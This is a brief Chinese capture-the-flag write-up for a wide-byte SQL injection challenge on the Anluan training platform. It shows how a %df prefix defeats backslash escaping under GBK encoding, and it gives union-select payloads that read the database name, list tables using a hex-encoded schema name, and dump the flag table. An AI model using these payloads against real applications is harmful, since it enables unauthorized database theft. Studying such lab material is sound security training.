安鸾平台宽字节注入

1.题目URL:http://47.103.94.191:8011
2.首先尝试加’,发现被转义为.
但是当数据库编码为GBK时，可以使用宽字节注入，先在地址后面加%df，因为反斜杠的编码为%5c，gbk中%df%5c是繁体字
所以说在1和’中间添加%df

加入后发现 合理

3.尝试爆破
爆数据库：?id=-1%df’ union select 1,database(),3,4,5 --+ 可发现数据库为kzf
爆表：
id=-1%df’ union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=‘kzf’
此时发现数据库中‘’也被转义了
这里采用小葵工具将kzf转为16进制内容
0x6B7A66

4.?id=-1%df’ union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=0x6B7A66–+

5.最后爆数据内容
?id=-1%df’ union select * from kzf.this_flag